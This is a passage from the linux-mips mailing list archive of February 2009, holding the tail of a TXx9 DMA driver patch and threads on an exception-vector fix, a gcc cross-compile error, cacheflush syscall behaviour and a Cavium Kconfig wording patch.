list_add_tail(&dc->chan.device_node, + &dc->chan.device->channels); + dc->chan.cookie = dc->completed = 1; + + dc->ch_regs = &__txx9dmac_regs(ddev)->CHAN[i]; + spin_lock_init(&dc->lock); + + INIT_LIST_HEAD(&dc->active_list); + INIT_LIST_HEAD(&dc->queue); + INIT_LIST_HEAD(&dc->free_list); + + txx9dmac_reset_chan(dc); + } + + mcr = TXX9_DMA_MCR_MSTEN; +#if !defined(TXX9_DMA_HAVE_CCR_LE) && defined(__LITTLE_ENDIAN) + mcr |= TXX9_DMA_MCR_LE; +#endif + if (memcpy_chan >= 0) + mcr |= TXX9_DMA_MCR_FIFUM(memcpy_chan); + + dma_writel(ddev, MCR, mcr); + + dma_async_device_register(&ddev->dma); + dev_info(&pdev->dev, "TXx9 DMA Controller (dma%d)\n", ddev->dma.dev_id); + if (memcpy_chan >= 0) { + dma_cap_mask_t mask; + struct dma_chan *chan; + + dma_cap_zero(mask); + dma_cap_set(DMA_SLAVE, mask); + /* reserve memcpy channel */ + chan = dma_request_channel(mask, reserved_filter, + &ddev->reserved_chan); + BUG_ON(chan != &ddev->reserved_chan); + /* register another dma_device for memcpy */ + dma_async_device_register(&ddev->dma_memcpy); + dev_info(&pdev->dev, "TXx9 DMA Controller (dma%d for memcpy)\n", + ddev->dma_memcpy.dev_id); + } + return 0; +} + +static int __exit txx9dmac_remove(struct platform_device *pdev) +{ + struct txx9dmac_dev *ddev = platform_get_drvdata(pdev); + struct txx9dmac_platform_data *pdata = pdev->dev.platform_data; +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN + int i; +#endif + + txx9dmac_off(ddev); + if (pdata && pdata->memcpy_chan >= 0) { + dma_release_channel(&ddev->reserved_chan); + dma_async_device_unregister(&ddev->dma_memcpy); + } + dma_async_device_unregister(&ddev->dma); + +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN + for (i = 0; i < TXX9_DMA_MAX_NR_CHANNELS; i++) { + struct txx9dmac_chan *dc = &ddev->chan[i]; + + tasklet_kill(&dc->tasklet); + } +#else + tasklet_kill(&ddev->tasklet); +#endif + return 0; +} + +static void txx9dmac_shutdown(struct platform_device *pdev) +{ + struct txx9dmac_dev *ddev = platform_get_drvdata(pdev); + + txx9dmac_off(ddev); +} + +static int txx9dmac_suspend_late(struct platform_device *pdev, + pm_message_t mesg) +{ + struct txx9dmac_dev *ddev = platform_get_drvdata(pdev); + + txx9dmac_off(ddev); + return 0; +} + +static int txx9dmac_resume_early(struct platform_device *pdev) +{ + struct txx9dmac_dev *ddev = platform_get_drvdata(pdev); + struct txx9dmac_platform_data *pdata = pdev->dev.platform_data; + u32 mcr; + + mcr = TXX9_DMA_MCR_MSTEN; +#if !defined(TXX9_DMA_HAVE_CCR_LE) && defined(__LITTLE_ENDIAN) + mcr |= TXX9_DMA_MCR_LE; +#endif + if (pdata && pdata->memcpy_chan >= 0) + mcr |= TXX9_DMA_MCR_FIFUM(pdata->memcpy_chan); + dma_writel(ddev, MCR, mcr); + return 0; + +} + +static struct platform_driver txx9dmac_driver = { + .remove = __exit_p(txx9dmac_remove), + .shutdown = txx9dmac_shutdown, + .suspend_late = txx9dmac_suspend_late, + .resume_early = txx9dmac_resume_early, + .driver = { + .name = "txx9dmac", + }, +}; + +static int __init txx9dmac_init(void) +{ + return platform_driver_probe(&txx9dmac_driver, txx9dmac_probe); +} +module_init(txx9dmac_init); + +static void __exit txx9dmac_exit(void) +{ + platform_driver_unregister(&txx9dmac_driver); +} +module_exit(txx9dmac_exit); + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("TXx9 DMA Controller driver"); +MODULE_AUTHOR("Atsushi Nemoto "); -- 1.5.6.3 From dvomlehn@cisco.com Fri Feb 13 18:42:00 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 18:42:03 +0000 (GMT) Received: from rtp-iport-1.cisco.com ([64.102.122.148]:4807 "EHLO rtp-iport-1.cisco.com") by ftp.linux-mips.org with ESMTP id S21103516AbZBMSmA convert rfc822-to-8bit (ORCPT ); Fri, 13 Feb 2009 18:42:00 +0000 X-IronPort-AV: E=Sophos;i="4.38,203,1233532800"; d="scan'208";a="37021183" Received: from rtp-dkim-1.cisco.com ([64.102.121.158]) by rtp-iport-1.cisco.com with ESMTP; 13 Feb 2009 18:41:53 +0000 Received: from rtp-core-2.cisco.com (rtp-core-2.cisco.com [64.102.124.13]) by rtp-dkim-1.cisco.com (8.12.11/8.12.11) with ESMTP id n1DIfrAu003501; Fri, 13 Feb 2009 13:41:53 -0500 Received: from xbh-rtp-211.amer.cisco.com (xbh-rtp-211.cisco.com [64.102.31.102]) by rtp-core-2.cisco.com (8.13.8/8.13.8) with ESMTP id n1DIfrVE008828; Fri, 13 Feb 2009 18:41:53 GMT Received: from xmb-rtp-218.amer.cisco.com ([64.102.31.117]) by xbh-rtp-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.1830); Fri, 13 Feb 2009 13:41:53 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8BIT Subject: RE: [PATCH] MIPS: Allocate exception vector on 64 KiB boundary Date: Fri, 13 Feb 2009 13:41:52 -0500 Message-ID: In-Reply-To: <1234532640.711.63.camel@sakura.staff.proxad.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH] MIPS: Allocate exception vector on 64 KiB boundary Thread-Index: AcmN4SwSSf7Q833JSEe/nf8vSv/UKgAKYM+w References: <1234532640.711.63.camel@sakura.staff.proxad.net> From: "David VomLehn (dvomlehn)" To: Cc: , , "David Daney" X-OriginalArrivalTime: 13 Feb 2009 18:41:53.0546 (UTC) FILETIME=[BD6A7EA0:01C98E0A] DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; l=1118; t=1234550513; x=1235414513; c=relaxed/simple; s=rtpdkim1001; h=Content-Type:From:Subject:Content-Transfer-Encoding:MIME-Version; d=cisco.com; i=dvomlehn@cisco.com; z=From:=20=22David=20VomLehn=20(dvomlehn)=22=20 |Subject:=20RE=3A=20[PATCH]=20MIPS=3A=20Allocate=20exceptio n=20vector=20on=2064=20KiB=20boundary |Sender:=20 |To:=20; bh=iWrHvyW+ZEt+AGXGzeM9r4JM8JAegK2p7Xs/gNvvZRU=; b=U7thLNw8nQy4hoOh29tqUIVD0mffy6hg8wyCUDbYkkS7kOWM9NVE1B1Fx1 stB/HnVH1Yz7lAM5pOH0pX8cBAyWUpkJkSZ9XFG2Kkj+dDHltUncwUVhTjwY RFYe+BL3OX; Authentication-Results: rtp-dkim-1; header.From=dvomlehn@cisco.com; dkim=pass ( sig from cisco.com/rtpdkim1001 verified; ); Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21933 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: dvomlehn@cisco.com Precedence: bulk X-list: linux-mips Content-Length: 1055 Lines: 31 > From: Maxime Bizon [mailto:mbizon@freebox.fr] > Sent: Friday, February 13, 2009 5:44 AM > To: David VomLehn (dvomlehn) > Cc: linux-mips@linux-mips.org; ralf@linux-mips.org; David Daney > Subject: Re: [PATCH] MIPS: Allocate exception vector on 64 > KiB boundary > > > On Fri, 2009-01-30 at 13:43 -0500, David VomLehn (dvomlehn) wrote: > > > Fix problem with code that incorrectly modifies ebase. > > > > Commit 566f74f6b2f8b85d5b8d6caaf97e5672cecd3e3e had a change that > > incorrectly > > modified ebase. This backs out the lines that modified > ebase and then > > modified > > I confirm this commit prevents my 4kec board from booting. > > My c0_ebase is set to 0x90000000. > > In trap_init() ebase is first set to CAC_BASE => 0x80000000, then > 0x90000000 after adding c0_ebase offset. > > set_uncached_handler() starts with uncached_ebase sets to > KSEG1ADDR(ebase) => 0xb0000000, which is already the correct > value, but > it then add the c0_ebase offset again => 0xc0000000 => boom. Can you confirm that the patch fixes your problem? From mbizon@freebox.fr Fri Feb 13 19:49:56 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 19:49:58 +0000 (GMT) Received: from smtp1-g21.free.fr ([212.27.42.1]:63154 "EHLO smtp1-g21.free.fr") by ftp.linux-mips.org with ESMTP id S21103622AbZBMTt4 (ORCPT ); Fri, 13 Feb 2009 19:49:56 +0000 Received: from smtp1-g21.free.fr (localhost [127.0.0.1]) by smtp1-g21.free.fr (Postfix) with ESMTP id 1DDCC9400AD; Fri, 13 Feb 2009 20:49:50 +0100 (CET) Received: from [213.228.1.107] (sakura.staff.proxad.net [213.228.1.107]) by smtp1-g21.free.fr (Postfix) with ESMTP id E03A19400A4; Fri, 13 Feb 2009 20:49:47 +0100 (CET) Subject: RE: [PATCH] MIPS: Allocate exception vector on 64 KiB boundary From: Maxime Bizon Reply-To: mbizon@freebox.fr To: "David VomLehn (dvomlehn)" Cc: linux-mips@linux-mips.org, ralf@linux-mips.org, David Daney In-Reply-To: References: <1234532640.711.63.camel@sakura.staff.proxad.net> Content-Type: text/plain Organization: Freebox Date: Fri, 13 Feb 2009 20:49:47 +0100 Message-Id: <1234554587.711.88.camel@sakura.staff.proxad.net> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21934 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: mbizon@freebox.fr Precedence: bulk X-list: linux-mips Content-Length: 570 Lines: 24 On Fri, 2009-02-13 at 13:41 -0500, David VomLehn (dvomlehn) wrote: > Can you confirm that the patch fixes your problem? Your patch does not apply anymore, this patch has been merged since: @@ -1593,7 +1597,7 @@ void __cpuinit set_uncached_handler(unsigned long offset, void *addr, unsigned long uncached_ebase = TO_UNCAC(ebase); #endif if (cpu_has_mips_r2) - ebase += (read_c0_ebase() & 0x3ffff000); + uncached_ebase += (read_c0_ebase() & 0x3ffff000); if (!addr) panic(panic_null_cerr); I just removed the whole test to fix my problem. -- Maxime From randrik_a@yahoo.com Fri Feb 13 23:10:20 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 23:10:22 +0000 (GMT) Received: from n4b.bullet.mail.ac4.yahoo.com ([76.13.13.74]:26448 "HELO n4b.bullet.mail.ac4.yahoo.com") by ftp.linux-mips.org with SMTP id S21103609AbZBMXKU convert rfc822-to-8bit (ORCPT ); Fri, 13 Feb 2009 23:10:20 +0000 Received: from [76.13.13.25] by n4.bullet.mail.ac4.yahoo.com with NNFMP; 13 Feb 2009 23:10:13 -0000 Received: from [76.13.10.179] by t4.bullet.mail.ac4.yahoo.com with NNFMP; 13 Feb 2009 23:10:13 -0000 Received: from [127.0.0.1] by omp120.mail.ac4.yahoo.com with NNFMP; 13 Feb 2009 23:10:13 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 963205.92131.bm@omp120.mail.ac4.yahoo.com Received: (qmail 32776 invoked by uid 60001); 13 Feb 2009 23:10:13 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID; b=j3GvXT/h+PupHQR/wNPOWryvmPEShxuexSKEDAefA8cHIcZa30nBZ7AyFOB8eIi7/8iIP+xK03z2rW76xtnU1tk0axu0q1H6CbulCeKG4059y7Nzm9Ui+2m7LyuBQDcVtcVF0qEcRpioQaKMgtw1l6xKmeMuefeWgVI00pMpLuk=; X-YMail-OSG: UsBJQyYVM1ksRRj_xeHXApP.uk7WnWZSo2KcQfWomGo2AmniI29d.t6vZDo6b84z60cvG3YriECtP5hxjOIqRSOZWtKne_VoP1YVszq0F7LMZ82CXDI.SoO8DDPr7t9YxmFL3YYRtJCE3ghLLIki8HcaszfdTHJp4D.QwnOi7LAcek40w7mJu15._qPK7QHw2cDOJs4Z Received: from [91.196.252.17] by web59815.mail.ac4.yahoo.com via HTTP; Fri, 13 Feb 2009 15:10:13 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Fri, 13 Feb 2009 15:10:13 -0800 (PST) From: Andrew Randrianasulu Reply-To: randrik_a@yahoo.com Subject: gcc-4.4 svn and 2.6.29-rc4 compile error To: linux-mips@linux-mips.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT Message-ID: <549158.21115.qm@web59815.mail.ac4.yahoo.com> Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21935 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: randrik_a@yahoo.com Precedence: bulk X-list: linux-mips Content-Length: 2834 Lines: 77 I have cross-compiler build in this way: (cross-compiled binutils-2.19 was already installed in /home/guest/cross-compiler/mips/ ) export PATH="${PATH}":/home/guest/cross-compiler/mips/bin mkdir build-gcc-bootstrap cd build-gcc-bootstrap/ .../gcc-svn/./configure --target=mips-unknown-linux-gnu --prefix=/home/guest/cross-compiler/mips --enable-languages=c --without-headers --with-gnu-ld --with-gnu-as --disable-shared --disable-threads --disable-libmudflap --disable-libssp make all-gcc install-gcc (gcc rev. r144149) Then i have linux kernel from kernel.org main git tree, up to commit 37bed90094fdb1eea6e4afec6a200d4e60143e55 (Date: Thu Feb 12 17:47:15 2009 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6) -rc5 already released, but i see only sound fixes there ... after trying make ARCH=mips CROSS_COMPILE=mips-unknown-linux-gnu- menuconfig make ARCH=mips CROSS_COMPILE=mips-unknown-linux-gnu- i got this error: CC init/version.o CC init/do_mounts.o CC init/do_mounts_rd.o CC init/do_mounts_initrd.o LD init/mounts.o CC init/initramfs.o CC init/calibrate.o LD init/built-in.o HOSTCC usr/gen_init_cpio GEN usr/initramfs_data.cpio.gz AS usr/initramfs_data.o LD usr/built-in.o CC arch/mips/sgi-ip32/ip32-berr.o CC arch/mips/sgi-ip32/ip32-irq.o CC arch/mips/sgi-ip32/ip32-platform.o CC arch/mips/sgi-ip32/ip32-setup.o CC arch/mips/sgi-ip32/ip32-reset.o cc1: warnings being treated as errors arch/mips/sgi-ip32/ip32-reset.c: Â ôóíêöèè 'debounce': arch/mips/sgi-ip32/ip32-reset.c:97: îøèáêà: 'reg_a' is used uninitialized in this function make[1]: *** [arch/mips/sgi-ip32/ip32-reset.o] Îøèáêà 1 make: *** [arch/mips/sgi-ip32] Îøèáêà 2 and restart make with with LANG=C give this guest@slax:/mnt/hdb1/src/linux-git/linux-2.6$ make ARCH=mips CROSS_COMPILE=mips-unknown-linux-gnu- CHK include/linux/version.h CHK include/linux/utsrelease.h SYMLINK include/asm -> include/asm-mips Checking missing-syscalls for O32 CALL scripts/checksyscalls.sh CALL scripts/checksyscalls.sh CHK include/linux/compile.h CC arch/mips/sgi-ip32/ip32-reset.o cc1: warnings being treated as errors arch/mips/sgi-ip32/ip32-reset.c: In function 'debounce': arch/mips/sgi-ip32/ip32-reset.c:97: error: 'reg_a' is used uninitialized in this function make[1]: *** [arch/mips/sgi-ip32/ip32-reset.o] Error 1 make: *** [arch/mips/sgi-ip32] Error 2 Is this known error? Or I should downgrade toolchain/kernel? i actually have SGI o2 hardware now, but my SGI machine only run standalone so far, i was played with dvhtools/genisoimage and slightly older self-compiled kernel, without any luck. Should putting kernel in fake volume header work at all on CD-ROM? From post@pfrst.de Fri Feb 13 23:53:12 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 23:53:14 +0000 (GMT) Received: from mail1.pearl-online.net ([62.159.194.147]:36389 "EHLO mail1.pearl-online.net") by ftp.linux-mips.org with ESMTP id S21367131AbZBMXxM (ORCPT ); Fri, 13 Feb 2009 23:53:12 +0000 Received: from Mobile0.Peter (194.105.100.66.dynamic.cablesurf.de [194.105.100.66]) by mail1.pearl-online.net (Postfix) with ESMTP id 71D3BD5AF; Sat, 14 Feb 2009 00:53:14 +0100 (CET) Received: from Indigo2.Peter (Indigo2.Peter [192.168.1.28]) by Mobile0.Peter (8.12.6/8.12.6/Sendmail/Linux 2.2.13) with ESMTP id n1E0shxO001258; Sat, 14 Feb 2009 00:54:43 GMT Received: from Indigo2.Peter (localhost [127.0.0.1]) by Indigo2.Peter (8.12.6/8.12.6/Sendmail/Linux 2.6.14-rc2-ip28) with ESMTP id n1DNok57000462; Sat, 14 Feb 2009 00:50:46 +0100 Received: from localhost (pf@localhost) by Indigo2.Peter (8.12.6/8.12.6/Submit) with ESMTP id n1DNok25000459; Sat, 14 Feb 2009 00:50:46 +0100 X-Authentication-Warning: Indigo2.Peter: pf owned process doing -bs Date: Sat, 14 Feb 2009 00:50:46 +0100 (CET) From: peter fuerst X-X-Sender: pf@Indigo2.Peter Reply-To: post@pfrst.de To: Ralf Baechle Cc: naresh kamboju , linux-mips@linux-mips.org Subject: Re: cacheflush system call-MIPS In-Reply-To: <20090211131649.GA1365@linux-mips.org> Message-ID: References: <20090211131649.GA1365@linux-mips.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21936 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: post@pfrst.de Precedence: bulk X-list: linux-mips Content-Length: 2326 Lines: 63 Hi Ralf, there is one more good reason to ... : the Impact Xserver needs to do a cacheflush(a,w,DCACHE) as part of the refresh-sequence. And hence requires a sys_cacheflush, let's say, more conforming to the man-page (or some disgusting new ioctl in the Impact kernel-driver to do an equivalent operation ;-) kind regards :-) On Wed, 11 Feb 2009, Ralf Baechle wrote: > Date: Wed, 11 Feb 2009 13:16:49 +0000 > From: Ralf Baechle > To: naresh kamboju > Cc: linux-mips@linux-mips.org > Subject: Re: cacheflush system call-MIPS > > On Tue, Feb 10, 2009 at 08:46:58PM +0530, naresh kamboju wrote: > > > Hi Mr. Ralf, > > > > I have tried to test cacheflush system call to generate EINVAL > > > > on Toshiba RBTX4927/RBTX4937 board with 2.6.23 kernel. > > > > I have referred latest Man pages there is a bug column. > > > > Please let me know whether this is bug in source code or in the man page. > > > > (arch/mips/mm/cache.c) > > The answer is probably a bit of both. The API and error behaviour was > defined by the earlier MIPS UNIX variant RISC/os or possibly even earlier. > > Gcc relies on the existence of this syscall - or rather a library > function which usually will be implemented to execute this syscall because > the operating requires kernel priviledges - so Linux had to get an > implementation as well. > > Now in practice there is only one good reason to perform explicit > cacheflushes from userspace and that's to ensure I-cache coherency and > that's the one thing the Linux implementation of cacheflush(2) is trying > to do. Therefore the implementation ignores the cache argument and > will instead perform whatever is necessary to guarantee I-cache coherency - > whatever this means on a particlar implementation. > > Similarly the implementation won't verify that every byte of the range > is accessible. For a large range it instead may choose to perform a full > writeback / invalidation of some or all parts of the cache hierarchy > which might mean there will not be an error return even though part of > the address space may not be accessible. > > Talking about bugs - the "BUGS" section of the man page is wrong. A full > cacheflush is only performed if this is considered to be faster than a > cacheline-by-cacheline flush. > > Ralf > > From ralf@h5.dl5rb.org.uk Fri Feb 13 23:56:08 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 13 Feb 2009 23:56:10 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:62929 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S21367134AbZBMX4I (ORCPT ); Fri, 13 Feb 2009 23:56:08 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1DNu479032299; Fri, 13 Feb 2009 23:56:05 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1DNu3cH032297; Fri, 13 Feb 2009 23:56:03 GMT Date: Fri, 13 Feb 2009 23:56:03 +0000 From: Ralf Baechle To: peter fuerst Cc: naresh kamboju , linux-mips@linux-mips.org Subject: Re: cacheflush system call-MIPS Message-ID: <20090213235603.GA32274@linux-mips.org> References: <20090211131649.GA1365@linux-mips.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21937 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 411 Lines: 11 On Sat, Feb 14, 2009 at 12:50:46AM +0100, peter fuerst wrote: > there is one more good reason to ... : the Impact Xserver needs to do > a cacheflush(a,w,DCACHE) as part of the refresh-sequence. > And hence requires a sys_cacheflush, let's say, more conforming to the > man-page (or some disgusting new ioctl in the Impact kernel-driver to > do an equivalent operation ;-) Why does it need that flush? Ralf From yoichi_yuasa@tripeaks.co.jp Sat Feb 14 08:09:34 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 14 Feb 2009 08:09:37 +0000 (GMT) Received: from mow300.po.2iij.NET ([210.128.50.200]:4278 "EHLO mow.po.2iij.net") by ftp.linux-mips.org with ESMTP id S21364923AbZBNIJe (ORCPT ); Sat, 14 Feb 2009 08:09:34 +0000 Received: by mow.po.2iij.net (mow300) id n1E89TtY017558; Sat, 14 Feb 2009 17:09:29 +0900 Received: from delta (133.6.30.125.dy.iij4u.or.jp [125.30.6.133]) by mbox.po.2iij.net (po-mbox303) id n1E89QGA019880 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 14 Feb 2009 17:09:26 +0900 Date: Sat, 14 Feb 2009 17:09:26 +0900 From: Yoichi Yuasa To: Ralf Baechle Cc: yoichi_yuasa@tripeaks.co.jp, linux-mips Subject: [PATCH][MIPS] remove "support for" from Cavium system type Message-Id: <20090214170926.d750aaaf.yoichi_yuasa@tripeaks.co.jp> Organization: TriPeaks Corporation X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21938 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: yoichi_yuasa@tripeaks.co.jp Precedence: bulk X-list: linux-mips Content-Length: 852 Lines: 24 Signed-off-by: Yoichi Yuasa diff -pruN -X /home/yuasa/Memo/dontdiff linux-orig/arch/mips/Kconfig linux/arch/mips/Kconfig --- linux-orig/arch/mips/Kconfig 2009-02-14 16:56:19.274686578 +0900 +++ linux/arch/mips/Kconfig 2009-02-14 16:57:14.474681145 +0900 @@ -596,7 +596,7 @@ config WR_PPMC board, which is based on GT64120 bridge chip. config CAVIUM_OCTEON_SIMULATOR - bool "Support for the Cavium Networks Octeon Simulator" + bool "Cavium Networks Octeon Simulator" select CEVT_R4K select 64BIT_PHYS_ADDR select DMA_COHERENT @@ -610,7 +610,7 @@ config CAVIUM_OCTEON_SIMULATOR hardware. config CAVIUM_OCTEON_REFERENCE_BOARD - bool "Support for the Cavium Networks Octeon reference board" + bool "Cavium Networks Octeon reference board" select CEVT_R4K select 64BIT_PHYS_ADDR select DMA_COHERENT From ralf@h5.dl5rb.org.uk Sat Feb 14 18:13:57 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 14 Feb 2009 18:14:00 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:50628 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S21365683AbZBNSN5 (ORCPT ); Sat, 14 Feb 2009 18:13:57 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1EIDu9O025733; Sat, 14 Feb 2009 18:13:56 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1EIDtpb025731; Sat, 14 Feb 2009 18:13:55 GMT Date: Sat, 14 Feb 2009 18:13:55 +0000 From: Ralf Baechle To: Andrew Randrianasulu Cc: linux-mips@linux-mips.org Subject: Re: gcc-4.4 svn and 2.6.29-rc4 compile error Message-ID: <20090214181355.GA12982@linux-mips.org> References: <549158.21115.qm@web59815.mail.ac4.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <549158.21115.qm@web59815.mail.ac4.yahoo.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21939 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 1028 Lines: 25 On Fri, Feb 13, 2009 at 03:10:13PM -0800, Andrew Randrianasulu wrote: > and restart make with with LANG=C give this > > guest@slax:/mnt/hdb1/src/linux-git/linux-2.6$ make ARCH=mips CROSS_COMPILE=mips-unknown-linux-gnu- > CHK include/linux/version.h > CHK include/linux/utsrelease.h > SYMLINK include/asm -> include/asm-mips > Checking missing-syscalls for O32 > CALL scripts/checksyscalls.sh > CALL scripts/checksyscalls.sh > CHK include/linux/compile.h > CC arch/mips/sgi-ip32/ip32-reset.o > cc1: warnings being treated as errors > arch/mips/sgi-ip32/ip32-reset.c: In function 'debounce': > arch/mips/sgi-ip32/ip32-reset.c:97: error: 'reg_a' is used uninitialized in this function > make[1]: *** [arch/mips/sgi-ip32/ip32-reset.o] Error 1 > make: *** [arch/mips/sgi-ip32] Error 2 > > Is this known error? Or I should downgrade toolchain/kernel? The error message is correct. Congratulations, you (or gcc) have found a bug that's lurking in the kernel since April 7, 2003 :-) Ralf From post@pfrst.de Sun Feb 15 02:23:52 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 15 Feb 2009 02:23:55 +0000 (GMT) Received: from mail1.pearl-online.net ([62.159.194.147]:31314 "EHLO mail1.pearl-online.net") by ftp.linux-mips.org with ESMTP id S20643871AbZBOCXw (ORCPT ); Sun, 15 Feb 2009 02:23:52 +0000 Received: from Mobile0.Peter (194.105.100.66.dynamic.cablesurf.de [194.105.100.66]) by mail1.pearl-online.net (Postfix) with ESMTP id 12507D5BA; Sun, 15 Feb 2009 03:23:43 +0100 (CET) Received: from Indigo2.Peter (Indigo2.Peter [192.168.1.28]) by Mobile0.Peter (8.12.6/8.12.6/Sendmail/Linux 2.2.13) with ESMTP id n1F3PK1E001242; Sun, 15 Feb 2009 03:25:20 GMT Received: from Indigo2.Peter (localhost [127.0.0.1]) by Indigo2.Peter (8.12.6/8.12.6/Sendmail/Linux 2.6.14-rc2-ip28) with ESMTP id n1F2K4BQ000478; Sun, 15 Feb 2009 03:20:05 +0100 Received: from localhost (pf@localhost) by Indigo2.Peter (8.12.6/8.12.6/Submit) with ESMTP id n1F2K4IN000475; Sun, 15 Feb 2009 03:20:04 +0100 X-Authentication-Warning: Indigo2.Peter: pf owned process doing -bs Date: Sun, 15 Feb 2009 03:20:04 +0100 (CET) From: peter fuerst X-X-Sender: pf@Indigo2.Peter Reply-To: post@pfrst.de To: Ralf Baechle Cc: linux-mips@linux-mips.org Subject: Re: cacheflush system call-MIPS In-Reply-To: <20090213235603.GA32274@linux-mips.org> Message-ID: References: <20090211131649.GA1365@linux-mips.org> <20090213235603.GA32274@linux-mips.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21940 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: post@pfrst.de Precedence: bulk X-list: linux-mips Content-Length: 825 Lines: 31 > Why does it need that flush? To prepare the update-area (in the Shadow-FB) for DMA to RE. kind regards On Fri, 13 Feb 2009, Ralf Baechle wrote: > Date: Fri, 13 Feb 2009 23:56:03 +0000 > From: Ralf Baechle > To: peter fuerst > Cc: naresh kamboju , linux-mips@linux-mips.org > Subject: Re: cacheflush system call-MIPS > > On Sat, Feb 14, 2009 at 12:50:46AM +0100, 